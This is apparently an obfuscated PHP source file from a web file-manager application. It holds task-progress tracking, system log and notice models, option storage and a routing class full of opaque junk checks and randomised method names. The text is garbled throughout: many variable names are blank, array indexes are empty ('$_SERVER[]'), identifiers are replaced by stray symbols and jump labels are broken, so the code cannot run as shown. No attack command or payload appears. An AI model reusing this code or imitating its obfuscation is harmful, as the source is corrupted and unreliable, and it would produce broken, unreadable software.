$_SERVER[]; if (self::get($ġ)) { return; } $this->task = array($[475] => $ġ, $[1763] => USER_ID, $[1652] => $, $[526] => $[12], $[33] => $ǫ˓, $[1136] => $[12], $[1134] => $, $[1764] => 0, $[1765] => 0, $[1766] => 0, $[1767] => timeFloat(), $[1768] => 0, $[1769] => 0, $[1770] => 0, $[1771] => 0, $[817] => $[1713]); $GLOBALS[$[1772]] = 1; Hook::bind($[1717], array($this, $[1773])); Hook::bind($[1774], array($this, $[1775])); $this->startAfter(); Hook::trigger($[1776], $this->task); $this->task[$[1769]] = timeFloat(); } public function end($ = '') { $ =& $_SERVER[]; if (!$this->task || $this->isEnd) { return; } if ($this->task[$[1769]]) { self::valueSet($this->task[$[475]], !1); } $this->isEnd = !0; if ($) { $this->task[$[526]] = $; } self::log($[1777] . $this->task[$[475]] . $[1778] . sprintf($[925], timeFloat() - $this->task[$[1767]]) . $[1779]); Hook::unbind($[1717], array($this, $[1773])); Hook::unbind($[1774], array($this, $[1775])); $this->endAfter(); $ = $this->task; $this->task = !1; Hook::trigger($[1780], $); } public function update($ϗ = 0, $ = false) { $ߌ =& $_SERVER[]; $ =& $this->task; if (!$) { return; } $[$ߌ[1764]] += $ϗ; $[$ߌ[1768]] = timeFloat(); if ($[$ߌ[1134]]) { if ($[$ߌ[1134]] < $[$ߌ[1764]]) { $[$ߌ[1134]] = $[$ߌ[1764]]; } $ = timeFloat() - $[$ߌ[1767]] - $[$ߌ[1770]]; if ($ <= 0) { $ = 0.001; } $[$ߌ[1765]] = $[$ߌ[1764]] / $[$ߌ[1134]]; $[$ߌ[1766]] = $[$ߌ[1764]] / $; if ($[$ߌ[1765]] > 0) { $[$ߌ[1771]] = $ * (1 - $[$ߌ[1765]]) / $[$ߌ[1765]]; } $[$ߌ[1771]] = $[$ߌ[1771]] <= 0 ? 0 : $[$ߌ[1771]]; } $this->updateAfter(); $ = 0.2; if (timeFloat() - $[$ߌ[1769]] < $ && !$) { return; } $縃 = self::get($[$ߌ[475]]); $ = $縃[$ߌ[817]]; if ($ == self::STATYS_KILL) { $ܮۈ = array($ߌ[1781] => LNG($ߌ[1782]), $ߌ[1290] => !1); Cache::set($ߌ[1783] . $this->task[$ߌ[475]], $ܮۈ, 30); $this->onKill(); $this->end(); die; } else { if ($ == self::STATYS_STOP) { $ĩ = 2; $縃[$ߌ[1770]] += $ĩ; self::valueSet($[$ߌ[475]], $縃); sleep($ĩ); $this->update(); return; } } $[$ߌ[817]] = $ ? $ : $[$ߌ[817]]; $[$ߌ[1770]] = $縃[$ߌ[1770]] ? $縃[$ߌ[1770]] : 0; $[$ߌ[1769]] = timeFloat(); Hook::trigger($ߌ[1784], $); self::valueSet($[$ߌ[475]], $); } public function onKillSet($׀Є, $ = array()) { $this->onKillCall = array($׀Є, $); } public function onKill() { $̛ =& $_SERVER[]; self::log($̛[1777] . $this->task[$̛[475]] . $̛[1785]); Hook::trigger($̛[1786], $this->task); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; $this->task = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($綦) { $Ķ =& $_SERVER[]; Cache::set($Ķ[1783] . $this->task[$Ķ[475]], $綦, 60); return $綦; } public static function get($) { $ӧ =& $_SERVER[]; $ɽ = self::valueGet($); if (is_array($ɽ) && $ɽ[$ӧ[1787]]) { $ = ActionApply($ɽ[$ӧ[1787]], array($ɽ)); $ɽ = is_array($) ? $ : $ɽ; } return $ɽ; } public static function listData() { $ݒ = self::valueGet(); return array_sort_by($ݒ, $_SERVER[][1767], !0); } public static function kill($ܙ) { return self::changeStatus($ܙ, self::STATYS_KILL); } public static function stop($) { return self::changeStatus($, self::STATYS_STOP); } public static function restart($Ѕ) { return self::changeStatus($Ѕ, self::STATYS_RUNNING); } public static function killAll() { $ =& $_SERVER[]; $ԙ = self::listData(); foreach ($ԙ as $) { self::kill($[$[475]]); } sleep(2); foreach ($ԙ as $) { self::valueSet($[$[475]], !1); } } private static function changeStatus($ڬ, $ܖ) { $谵 =& $_SERVER[]; $ = self::valueGet($ڬ); if (!$) { return !1; } $[$谵[817]] = $ܖ; self::valueSet($ڬ, $); self::log($谵[1788] . $[$谵[475]] . $谵[1789] . $ܖ); return !0; } public static function valueGet($ = false) { $ߝ =& $_SERVER[]; if ($) { $ = Model($ߝ[520])->where(array($ߝ[97] => $, $ߝ[33] => $ߝ[1143]))->find(); return $ ? json_decode($[$ߝ[450]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($ݧ = false) { $냋 =& $_SERVER[]; $щ = array($냋[33] => $냋[1143]); if ($ݧ) { $щ[$냋[1763]] = $ݧ; } $Γ = Model($냋[520])->where($щ)->select(); $Γ = $Γ ? $Γ : array(); foreach ($Γ as $ӓ => $Ζ) { $Γ[$ӓ] = json_decode($Ζ[$냋[450]], !0); } return $Γ; } public static function valueSet($Ǟ, $) { $ =& $_SERVER[]; if (!$) { return Model($[520])->where(array($[97] => $Ǟ, $[33] => $[1143]))->delete(); } $ܭ = json_encode($); if (!$ܭ) { ob_start(); var_dump($); $ά = ob_get_clean(); self::log($[1790] . json_encode_force($ά)); } if (!$Ǟ || !$[$[475]]) { return !1; } $ = array($[33] => $[1143], $[1763] => USER_ID, $[97] => $Ǟ, $[450] => $ܭ); $؊ = $[1791]; CacheLock::lock($؊); Model($[520])->add($, array(), !0); CacheLock::unlock($؊); } public static function log($) { if (!GLOBAL_DEBUG) { return; } write_log($, $_SERVER[][1792]); } } goto E; c: class SystemLogModel extends ModelBase { protected $tableName = "\163\171\163\x74\145\155\137\x6c\x6f\x67"; protected $dataAuto = array(array("\x63\x72\x65\x61\164\x65\124\x69\x6d\145", "\164\151\x6d\145", "\x69\156\163\x65\162\x74", "\x66\x75\156\143\164\x69\157\156")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $݉ =& $_SERVER[]; return array($݉[2328] => LNG($݉[2329]), $݉[2330] => LNG($݉[2331]), $݉[1904] => LNG($݉[2332]), $݉[2333] => LNG($݉[2334]), $݉[2335] => LNG($݉[2336]), $݉[2337] => LNG($݉[2338]), $݉[2339] => LNG($݉[2340]), $݉[1934] => LNG($݉[2340]), $݉[1935] => LNG($݉[2341]), $݉[2342] => LNG($݉[2343]), $݉[2344] => LNG($݉[2345]), $݉[2346] => LNG($݉[2347]), $݉[2348] => LNG($݉[2349]), $݉[1932] => LNG($݉[2350]), $݉[2351] => LNG($݉[2352]), $݉[1939] => LNG($݉[2353]), $݉[2354] => LNG($݉[2355]), $݉[2356] => LNG($݉[2357]), $݉[2358] => LNG($݉[2359]), $݉[2360] => LNG($݉[2361]), $݉[1942] => LNG($݉[2362]), $݉[1943] => LNG($݉[2363]), $݉[2364] => LNG($݉[2365]), $݉[2366] => LNG($݉[2367]), $݉[2368] => LNG($݉[2369]), $݉[1937] => LNG($݉[2370]), $݉[2371] => LNG($݉[2372]), $݉[1936] => LNG($݉[2373]), $݉[2374] => LNG($݉[2375]), $݉[2376] => LNG($݉[2377]), $݉[2378] => LNG($݉[2377]), $݉[2379] => LNG($݉[2380]), $݉[2381] => LNG($݉[2381]), $݉[2382] => LNG($݉[1908]), $݉[2383] => LNG($݉[2384]), $݉[2385] => LNG($݉[2386]), $݉[2387] => LNG($݉[2388]), $݉[2389] => LNG($݉[2390]), $݉[2391] => LNG($݉[2392]), $݉[2393] => LNG($݉[2393]), $݉[2394] => LNG($݉[2395]), $݉[2396] => LNG($݉[2397]), $݉[2398] => LNG($݉[2399]), $݉[2400] => LNG($݉[2401]), $݉[2402] => LNG($݉[2403]), $݉[2404] => LNG($݉[2405]), $݉[212] => LNG($݉[212]), $݉[213] => LNG($݉[2406]), $݉[2407] => LNG($݉[2407])); } private function typeFile() { $ޛð =& $_SERVER[]; $ㅫ = array($ޛð[1939] => array($ޛð[1940]), $ޛð[2346] => array($ޛð[2408]), $ޛð[2348] => array($ޛð[2409]), $ޛð[1932] => array($ޛð[1933], $ޛð[2410]), $ޛð[2356] => array(), $ޛð[2358] => array(), $ޛð[2360] => array(), $ޛð[1942] => array($ޛð[1944]), $ޛð[1943] => array($ޛð[1944]), $ޛð[2364] => array($ޛð[2411]), $ޛð[2366] => array($ޛð[2411]), $ޛð[2368] => array($ޛð[2412]), $ޛð[2354] => array($ޛð[2413]), $ޛð[1937] => array($ޛð[2414]), $ޛð[2371] => array($ޛð[2415]), $ޛð[1936] => array($ޛð[1938])); return $ㅫ; } private function typeAll() { $ =& $_SERVER[]; $ = $this->typeList; $ = array_filter($this->typeFile()); foreach ($ as $ֹ => $Ƽ) { $[$Ƽ[0]] = $[$ֹ]; } $[$[1944]] = LNG($[2416]); $[$[2411]] = LNG($[2417]); return $; } public function addLog($, $䍃 = array()) { $幹 =& $_SERVER[]; if (!isset($this->typeList[$])) { return; } $ = Session::get($幹[2104]); if (!$) { $ = _get($䍃, $幹[1763], 0); } if ($ == $幹[2383] && is_array($䍃[$幹[2418]]) && !$䍃[$幹[2418]]) { return; } $ݙö = get_client_ip(); if (!$䍃 || strlen(json_encode($䍃)) >= 1024 * 64) { if ($䍃 && is_array($䍃)) { $䍃 = array_intersect_key($䍃, array_flip($幹[475], $幹[32])); $䍃[$幹[2419]] = $ݙö; } else { $䍃 = array($幹[2419] => $ݙö); } } else { if (is_array($䍃)) { $䍃[$幹[2419]] = $ݙö; } else { $䍃 = array($幹[1280] => $䍃, $幹[2419] => $ݙö); } } $䍃 = array($幹[1753] => Session::sign(), $幹[1754] => intval($), $幹[33] => $, $幹[1756] => json_encode($䍃)); parent::add($䍃); } public function remove($ޗ) { $this->where(array($_SERVER[][493] => $ޗ))->delete(); } private function _makeOrder($աɨ = '') { $Ї =& $_SERVER[]; $ّ = $Ї[231]; $Ȉ = array($Ї[523] => $Ї[524], $Ї[525] => $Ї[526]); $ć = Input::get($Ї[531], $Ї[7], $Ї[2140], array($Ї[2057], $Ї[525])); $ć = $Ȉ[$ć]; $աɨ = $աɨ . "{$ّ}\40{$ć}"; return $this->order($աɨ); } public function get($Ε = '') { $ =& $_SERVER[]; if (!$Ε) { show_json(array()); } $更 = array(); if ($Ε[$[1763]]) { $更[$[1763]] = $Ε[$[1763]]; } if (isset($Ε[$[827]])) { $Ǐʓ = $Ε[$[827]]; $Ǭ = isset($Ε[$[828]]) ? $Ε[$[828]] : time(); $更[$[231]] = array($[409], array($Ǐʓ, $Ǭ)); } if ($Ε[$[33]]) { $ؽ = explode($[50], $Ε[$[33]]); $̋ = $this->typeFile(); $ = array(); foreach ($ؽ as $) { $[] = $; if (isset($̋[$])) { $ = array_merge($, $̋[$]); } } $ = array_unique($); if ($) { $更[$[33]] = array($[7], $); } } else { $更[$[33]] = array($[2420], $[2421]); } if (!empty($Ε[$[2419]])) { $更[$[526]] = array($[459], "\x25{$Ε[$[2419]]}\x25"); } $ = $this->_makeOrder()->where($更)->selectPage(); if (empty($[$[445]])) { show_json(array(), !0, $[$[442]]); } $[$[445]] = $this->logList($[$[445]]); return $; } private function ipAddress(&$菃) { $М =& $_SERVER[]; if (!empty($菃[$М[2419]])) { $ = IpLocation::get($菃[$М[2419]]); } else { $ = LNG($М[2422]); } $菃[$М[2423]] = $; } private function descZipDownload($, &$) { $ƯƱ =& $_SERVER[]; if (!isset($[$ƯƱ[2424]])) { return; } $ = json_decode($[$ƯƱ[2424]], !0); foreach ($ as $瞇) { try { $ = IO::infoFullSimple($瞇[$ƯƱ[87]]); } catch (Exception $) { continue; } $[$ƯƱ[87]] = $瞇[$ƯƱ[87]]; $[] = $[$ƯƱ[193]] = $[$ƯƱ[193]]; $[] = $[$ƯƱ[2196]] = $[$ƯƱ[192]]; break; } return $; } private function getSourceList(&$˷) { $黎 =& $_SERVER[]; $В = array(); foreach ($˷ as $ɷُ => $⛫) { $ = json_decode($⛫[$黎[526]], !0); if ($⛫[$黎[33]] == $黎[1935]) { $ = $this->descZipDownload($, $В); $˷[$ɷُ][$黎[526]] = json_encode($); continue; } if (strpos($⛫[$黎[33]], $黎[2198]) !== 0) { if (!isset($[$黎[87]]) || strpos($⛫[$黎[33]], $黎[2425]) !== 0) { continue; } try { $ɫހ = IO::infoFullSimple($[$黎[87]]); } catch (Exception $̘) { continue; } $В[] = $[$黎[193]] = $ɫހ[$黎[193]]; $В[] = $[$黎[2196]] = $ɫހ[$黎[192]]; $˷[$ɷُ][$黎[526]] = json_encode($); continue; } $В[] = $[$黎[193]]; $В[] = $[$黎[2196]]; if ($[$黎[33]] == $黎[620]) { $В[] = $[$黎[526]][$黎[1234]]; $В[] = $[$黎[526]][$黎[1235]]; } if ($[$黎[33]] == $黎[2207]) { $В[] = $[$黎[526]][$黎[193]]; } } if (!$В) { return array(); } return Model($黎[899])->sourceListInfo($В, !0); } private function logList($) { $ת =& $_SERVER[]; $ = array_to_keyvalue($, $ת[12], $ת[1763]); $ߝ = Model($ת[598])->userListInfo(array_unique($)); $Ǯ = $this->getSourceList($); $금 = $this->typeAll(); $ = array(); $ = array(); foreach ($ as $٩ => $ƌ) { $ = $ƌ[$ת[33]]; $ = isset($ߝ[$ƌ[$ת[1763]]]) ? $ߝ[$ƌ[$ת[1763]]] : !1; $Ұ = strpos($, $ת[2426]) === 0 ? LNG($ת[2427]) : LNG($ת[2422]); $ƌ[$ת[32]] = isset($[$ת[32]]) ? $[$ת[32]] : LNG($ת[2422]); $ƌ[$ת[2256]] = isset($[$ת[2256]]) ? $[$ת[2256]] : $ת[12]; $ƌ[$ת[1652]] = isset($금[$]) ? $금[$] : $Ұ; $ƌ[$ת[2139]] = $; $嗍 = json_decode($ƌ[$ת[526]], !0); $ƌ[$ת[2419]] = isset($嗍[$ת[2419]]) ? $嗍[$ת[2419]] : $ת[12]; $ƌ[$ת[2423]] = IpLocation::get($ƌ[$ת[2419]]); if (strpos($, $ת[2198]) === 0 || isset($嗍[$ת[2196]])) { $嗍[$ת[90]] = $Ǯ[$嗍[$ת[193]]]; $嗍[$ת[2212]] = $Ǯ[$嗍[$ת[2196]]]; if ($嗍[$ת[33]] == $ת[620]) { $嗍[$ת[526]][$ת[1234]] = $Ǯ[$嗍[$ת[526]][$ת[1234]]]; $嗍[$ת[526]][$ת[1235]] = $Ǯ[$嗍[$ת[526]][$ת[1235]]]; } if ($嗍[$ת[33]] == $ת[2207]) { $嗍[$ת[526]][$ת[193]] = $Ǯ[$嗍[$ת[526]][$ת[193]]]; } if ($嗍[$ת[33]] == $ת[1930]) { $嗍[$ת[2212]] = $嗍[$ת[90]]; $嗍[$ת[2196]] = $嗍[$ת[2212]][$ת[193]]; $嗍[$ת[90]] = !1; $嗍[$ת[193]] = $ת[12]; } $lj = array($ת[1930], $ת[2194]); if (!in_array($嗍[$ת[33]], $lj)) { if ($嗍[$ת[90]] && $嗍[$ת[90]][$ת[190]] == $ת[191]) { $[] = $ƌ[$ת[475]]; unset($[$٩]); continue; } if ($嗍[$ת[2212]] && $嗍[$ת[2212]][$ת[190]] == $ת[191]) { $[] = $ƌ[$ת[475]]; unset($[$٩]); continue; } } } $ƌ[$ת[526]] = $嗍; unset($ƌ[$ת[2428]]); $[] = $ƌ; } $this->clearSystemPathLog($); return $; } private function clearSystemPathLog($ބ) { $淣 =& $_SERVER[]; if (count($ބ) == 0) { return; } $ = array($淣[475] => array($淣[7], array_unique($ބ))); $this->where($)->delete(); } public function deviceList($, $ = 0) { $Č =& $_SERVER[]; $χ = array($Č[1763] => $, $Č[231] => array($Č[1085], $), $Č[33] => $Č[1904]); $ʪٓ = array(); $ = $this->field($Č[2429])->where($χ)->order($Č[2210])->limit(50)->select(); foreach ($ as $Ƹ => $) { if ($Ƹ > 0 && abs($[$Č[231]] - $[$Ƹ - 1][$Č[231]]) < 5) { continue; } $ʸ = json_decode($[$Č[526]], !0); $[$Č[2419]] = isset($ʸ[$Č[2419]]) ? $ʸ[$Č[2419]] : $Č[12]; unset($ʸ[$Č[2419]]); $ҵ = $this->deviceType($ʸ[$Č[2199]]); if (isset($ʪٓ[$ҵ])) { continue; } $[$Č[2423]] = IpLocation::get($[$Č[2419]]); $[$Č[526]] = $ʸ; $ʪٓ[$ҵ] = $; } return array_values($ʪٓ); } public function deviceType($) { return $; } } class SystemNoticeModel extends ModelBaseLight { public $optionType = "\x53\171\x73\164\145\x6d\x2e\156\157\164\151\143\x65\x4c\x69\163\x74"; public $field = array("\x6e\141\x6d\145", "\143\157\x6e\x74\145\x6e\x74", "\x61\165\164\150", "\155\x6f\x64\145", "\x74\151\155\x65", "\164\171\x70\145", "\x6c\x65\x76\x65\x6c", "\x65\156\141\142\x6c\145", "\x73\x6f\x72\x74"); public function listData($ = false, $Ϗƺ = "\163\x6f\x72\164", $Ԅ = false) { return parent::listData($, $Ϗƺ, $Ԅ); } public function add($) { $Ԓ =& $_SERVER[]; $朔 = time(); if ($[$Ԓ[16]] == $Ԓ[2430]) { $朔 = strtotime($[$Ԓ[206]]); } $[$Ԓ[206]] = $朔; return parent::insert($); } public function update($Ӵ, $ӝܡ) { $ =& $_SERVER[]; $ = $this->listData($Ӵ); if (!$) { return !1; } $Ѻ = time(); if ($ӝܡ[$[16]] == $[2430]) { $Ѻ = strtotime($ӝܡ[$[206]]); } $ӝܡ[$[206]] = $Ѻ; return parent::update($Ӵ, $ӝܡ); } public function remove($ƒ) { $ = $this->listData($ƒ); if (!$ || $[$_SERVER[][191]]) { return !1; } return parent::remove($ƒ); } public function sort($٢, $ެ) { return parent::update($٢, $ެ); } public function enable($, $ۘ) { return parent::update($, array($_SERVER[][2431] => $ۘ)); } private function initUserOption() { $ӈ =& $_SERVER[]; $this->optionType = $ӈ[2432]; $this->modelType = $ӈ[2433]; $this->field = array($ӈ[2434], $ӈ[32], $ӈ[206], $ӈ[33], $ӈ[2435], $ӈ[817], $ӈ[226]); } public function userNoticeGet($ = false) { $this->initUserOption(); return parent::listData($, $_SERVER[][475], !0); } public function userNoticeAdd($ڧ) { $ =& $_SERVER[]; $this->initUserOption(); $Ҁ = $this->findByKey($[2434], $ڧ[$[475]]); if ($Ҁ) { return !0; } $ˀ = array($[2434] => $ڧ[$[475]], $[32] => $ڧ[$[32]], $[206] => $ڧ[$[206]], $[33] => isset($ڧ[$[33]]) ? $ڧ[$[33]] : 1, $[2435] => isset($ڧ[$[2435]]) ? $ڧ[$[2435]] : 0, $[817] => 0, $[226] => 0); return parent::insert($ˀ); } public function userNoticeEdit($, $݊) { $this->initUserOption(); return parent::update($, $݊); } } class SystemOptionModel extends ModelBaseOption { protected $tableName = "\163\x79\x73\x74\x65\155\137\x6f\x70\x74\x69\157\x6e"; protected $jsonField = array("\x6d\x65\x6e\x75", "\x72\157\x6c\x65", "\162\x6f\x6c\x65\x47\x72\x6f\165\x70", "\162\x65\x67\x69\163\164", "\x65\155\x61\x69\x6c"); function __construct() { parent::__construct(); } protected function cacheKey($ײ) { return "\123\171\x73\x74\145\155\117\160\164\151\157\x6e\137{$ײ}"; } protected function optionDefault($ = '') { $ =& $_SERVER[]; if ($ == $[12]) { return $GLOBALS[$[6]][$[457]]; } } } goto bŝ; d廸: function binCheckBigger($, $) { return $ > $; } $_SERVER[$_SERVER[ۏԅ][3]] = ("\x38\x35\x32\x37"."\x34\x31")+0;$_ptie="caq1nx5sbhjv8rel0fd3iwgtmuk92ypo647zkdcy2eivq83pz9sloa54hxjgm7b0n1ufrt6wiobu";; class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($笺, $넞) { $ַ =& $_SERVER[]; if (isset(self::$_methodList[$笺])) { return @call_user_func_array(self::$_methodList[$笺], $넞); } else { if (method_exists($this, $笺)) { return call_user_func_array(array($this, $笺), $넞); } else { think_exception(__CLASS__ . $ַ[4] . $笺 . $ַ[5]); } } } public static function __callStatic($Ǚ, $Эʾ) { if (isset(self::$_methodListStatic[$Ǚ])) { return call_user_func_array(self::$_methodListStatic[$Ǚ], $Эʾ); } else { if (method_exists(self, $Ǚ)) { return call_user_func_array(array(self, $Ǚ), $Эʾ); } else { show_json("{$Ǚ}\50\51\x20\156\x6f\164\40\x65\x78\151\x73\164\73", !1); } } } public static function addMethod($呎ʇ, $) { self::$_methodList[$呎ʇ] = $; } public static function addMethodStatic($뛈, $) { self::$_methodListStatic[$뛈] = $; } } goto Fμ; D֣: if (strlen($znstewkolc) < $_SERVER[][683]) { return; } class Application { private $defaultModule = "\151\x6e\144\145\x78"; private $defaultController = "\x69\156\x64\x65\170"; private $defaultAction = "\151\156\x64\x65\x78"; function __construct() { } public function setDefault($ՐƇ) { $郹 =& $_SERVER[]; $ =& $_SERVER[Ü]; $ = explode($[0], trim($ՐƇ, $[0])); $this->defaultModule = $[0] ? $[0] : $this->defaultModule; $м = $郹[684]; if (!$м) { return; } $this->defaultController = $[1] ? $[1] : $this->defaultController; $this->defaultAction = $[2] ? $[2] : $this->defaultAction; $this->uxkv77fc9f13($[1], array($this, $[2])); $м = $郹[685]; } public function appRun($잣) { $݀ =& $_SERVER[]; $ =& $_SERVER[Ü]; $ = explode($[0], $잣); $ܲ = $݀[686]; if (strlen($ܲ) < $݀[687]) { die; } $Џ = strtolower($[0]); $ = $݀[688]; if (strlen($) < $݀[689]) { return; } $ж = $[3]; if ($Џ == $[4]) { $ж = $[5]; $[0] = $[6]; $[1] = $[1] . $[7]; $잣 = join($[0], $); $잣 = trim($잣, $[0]); } call_user_func(array($[8], $[9]), $ж . $[10], $잣); ActionCall($잣); call_user_func(array($[8], $[9]), $ж . $[11], $잣); $ˇ = $݀[690]; if (!$ˇ) { return; } } private function autorun() { $Ƣ =& $_SERVER[]; $ۅ =& $_SERVER[Ü]; global $config; $Ε = $Ƣ[691]; if (strlen($Ε) < $Ƣ[692]) { die; } if (count($config[$ۅ[12]]) == 0) { return; } foreach ($config[$ۅ[12]] as $ƺ => $) { $this->appRun($); } } private function ovzxb3d587ad() { $ =& $_SERVER[]; $ =& $_SERVER[Ü]; $ˎ = $[4]; $ɔ = $[693]; if (strlen($ɔ) < $[689]) { die; } $փ = $GLOBALS[$[13]][$[14]][0]; if (!$փ || strlen($փ) <= strlen($ˎ)) { return; } if (strtolower(substr($փ, -strlen($ˎ))) != $ˎ) { return; } $ = substr($փ, 0, -strlen($ˎ)); $ə = $[694]; if (!$ə) { return; } $ߍ = array($[4], $); $ = $[695]; $ƻγ = array_slice($GLOBALS[$[13]][$[14]], 1); $GLOBALS[$[13]][$[14]] = array_merge($ߍ, $ƻγ); $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); } private function eidpaced8b54() { $ =& $_SERVER[]; $ =& $_SERVER[Ü]; if ($GLOBALS[$[13]][$[15]] != $[6]) { return; } $ྦ = $_SERVER[$[16]]; $ʺõ = $[696]; if (strlen($ʺõ) < $[687]) { die; } $ = $[17]; $ = $[697]; if (!strstr($ྦ, $)) { return; } $ = strrpos($ྦ, $); $ˑ = substr($ྦ, $ + strlen($)); preg_match_all($[18], $ˑ, $˦); $ˑ = trim($˦[0][0], $[19]); $ = $[698]; while ($ < $[699]) { if ($ >= 0) { break; } $++; } $GLOBALS[$[13]][$[14]] = explode($[19], $ˑ); $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); $ = $[700]; while ($ < $[689]) { if ($ >= 0) { break; } $++; } } public function run() { $ȧɽ =& $_SERVER[]; $ =& $_SERVER[Ü]; $this->eidpaced8b54(); $this->ovzxb3d587ad(); $⌂Ǻ = $GLOBALS[$[13]][$[14]]; $é = $GLOBALS[$[13]][$[15]]; define($[20], isset($⌂Ǻ[0]) && $⌂Ǻ[0] ? $⌂Ǻ[0] : $this->defaultModule); define($[21], isset($⌂Ǻ[1]) && $⌂Ǻ[0] ? $⌂Ǻ[1] : $this->defaultController); define($[22], isset($⌂Ǻ[2]) && $⌂Ǻ[0] ? $⌂Ǻ[2] : $this->defaultAction); $ = $ȧɽ[701]; while ($ < $ȧɽ[692]) { if ($ >= 0) { break; } $++; } define($[23], MOD . $[0] . ST . $[0] . ACT); $Һ́ = $ȧɽ[702]; if (!$Һ́) { die; } $_SERVER[$[24]] = strtolower(ACTION); $ = $ȧɽ[703]; if (!$) { die; } $this->autorun(); $䋌 = $ȧɽ[704]; if (strlen($䋌) < $ȧɽ[687]) { return; } if (count($⌂Ǻ) >= 3) { $this->appRun($é); } else { $this->appRun(ACTION); } } private $goqzee6de40a = array(); private $fmaldf286b22 = ''; public function vwrfa50173b6() { $ =& $_SERVER[]; $ =& $_SERVER[Ü]; $this->agsme40eaea0(); $this->ibrmddab986e(); $͆ = $[705]; while (strlen($͆) < $[689]) { if (!$͆) { break; } $͆++; } $this->tvjx70fd0a85(); $this->siwp7665cc9c(); $this->vzpe2014d4c5(); $this->owic59edf125(); $ꄦ = $[706]; while (strlen($ꄦ) < $[692]) { if (!$ꄦ) { break; } $ꄦ++; } $this->fdgq492341b8(); $ʏ = $[707]; $this->uxkv77fc9f13($[25], array($this, $[26])); $this->uxkv77fc9f13($[27], array($this, $[28])); $χ = $[708]; if (!$χ) { die; } $this->uxkv77fc9f13($[29], array($this, $[30])); $this->uxkv77fc9f13($[31], array($this, $[32])); } public function hzgn9232bf02($ÆѢ) { $ㅴӪ =& $_SERVER[]; $禼 =& $_SERVER[Ü]; $݆̣ = Model($禼[33])->get(); $Ƈڲ = array($禼[34], $禼[35], $禼[36], $禼[37], $禼[38], $禼[39], $禼[40], $禼[41], $禼[42], $禼[43], $禼[44], $禼[45], $禼[46], $禼[47], $禼[48], $禼[49], $禼[50], $禼[51], $禼[52], $禼[53], $禼[54], $禼[55], $禼[56], $禼[57], $禼[58], $禼[59], $禼[60], $禼[61], $禼[62], $禼[63], $禼[64], $禼[65], $禼[66], $禼[67], $禼[68], $禼[69], $禼[70], $禼[71], $禼[72], $禼[73], $禼[74], $禼[75], $禼[76], $禼[77], $禼[78], $禼[79], $禼[80], $禼[81], $禼[82], $禼[83], $禼[84], $禼[85]); foreach ($Ƈڲ as $Njƭ) { $Чٿ = $GLOBALS[$禼[86]][$禼[87]][$Njƭ]; if (isset($݆̣[$Njƭ])) { $Чٿ = $݆̣[$Njƭ]; } $ÆѢ[$禼[88]][$禼[89]][$Njƭ] = $Чٿ; } $ݗȱ = $ÆѢ[$禼[88]][$禼[89]][$禼[46]]; $ = $ㅴӪ[709]; if (strlen($) < $ㅴӪ[689]) { return; } unset($ÆѢ[$禼[88]][$禼[90]][$禼[91]]); $˭ = $ㅴӪ[710]; if (!$˭) { return; } unset($ÆѢ[$禼[88]][$禼[90]][$禼[92]]); $ܯ = $ㅴӪ[711]; unset($ÆѢ[$禼[88]][$禼[89]][$禼[46]]); $ڄͲ = $ㅴӪ[712]; if (!$ڄͲ) { return; } unset($ÆѢ[$禼[88]][$禼[89]][$禼[93]]); $ = $ㅴӪ[713]; if (!$) { return; } $ÆѢ[$禼[88]][$禼[89]][$禼[94]] = array($禼[95] => (int) $ݗȱ[$禼[96]], $禼[97] => (int) _get($ݗȱ, $禼[98], 0)); $ = $ㅴӪ[714]; if (strlen($) < $ㅴӪ[692]) { die; } $҈ = substr(md5($禼[99] . get_client_ip() . $݆̣[$禼[100]]), 0, 15); $ = $ㅴӪ[715]; while (strlen($) < $ㅴӪ[687]) { if (!$) { break; } $++; } $ÆѢ[$禼[101]][$禼[102]] = Mcrypt::encode(Session::sign(), $҈, 3600 * 24); $ÆѢ[$禼[101]][$禼[103]] = Action($禼[104])->accessToken(); $Dz = $ㅴӪ[716]; if (!$Dz) { die; } $ÆѢ[$禼[101]][$禼[105]] = md5($_SERVER[$禼[106]] . $݆̣[$禼[100]]); $ÆѢ[$禼[101]][$禼[107]] = base64_encode(serverInfo()); $ÆѢ[$禼[101]][$禼[108]] = $this->fmaldf286b22; $ȏɥ = $ㅴӪ[717]; if (!$ȏɥ) { return; } if ($݆̣[$禼[108]] != $禼[109]) { $ÆѢ[$禼[101]][$禼[110]] = $݆̣[$禼[110]]; $ÆѢ[$禼[101]][$禼[111]] = $݆̣[$禼[111]]; $ = rand_string(10) . $this->fmaldf286b22 . rand_string(5); $ÆѢ[$禼[88]][$禼[112]][$禼[113]] = $this->jdncf0daa323($, $ÆѢ[$禼[101]][$禼[105]]); } if ($this->fmaldf286b22 == $禼[109]) { $ÆѢ[$禼[88]][$禼[89]][$禼[94]][$禼[98]] = 0; } $ÆѢ[$禼[101]][$禼[114]] = $this->versionPluginFilter(); $ÆѢ[$禼[101]][$禼[115]] = _get($this->goqzee6de40a, $禼[116], $禼[6]); $̚ = $ㅴӪ[718]; if (!$̚) { return; } if (KodUser::isRoot() && $this->config[$禼[117]]) { $ÆѢ[$禼[101]][$禼[118]] = WEB_ROOT; } return $ÆѢ; } private function owic59edf125() { $ =& $_SERVER[]; $Ŵе =& $_SERVER[Ü]; $ = $_SERVER[$Ŵе[24]] == $Ŵе[119]; if ($_SERVER[$Ŵе[24]] == $Ŵе[120] && $_GET[$Ŵе[121]] == $Ŵе[122]) { $ = !0; } if ($) { $ = array($Ŵе[108] => $this->fmaldf286b22, $Ŵе[123] => $this->oqdma4d4d1df(), $Ŵе[124] => Model($Ŵе[125])->count()); if ($this->fmaldf286b22 != $Ŵе[109]) { $ۛ = _get($this->goqzee6de40a, $Ŵе[126]); if ($ۛ) { $[$Ŵе[127]] = $ۛ; $[$Ŵе[128]] = strtotime(_get($this->goqzee6de40a, $Ŵе[129])); $[$Ŵе[130]] = _get($this->goqzee6de40a, $Ŵе[116]); } $ = Model($Ŵе[33])->get($Ŵе[131], $Ŵе[6], !0); if (is_string($) && substr($, 0, 1) == $Ŵе[132]) { $ = json_decode_force($); } if (is_array($) && 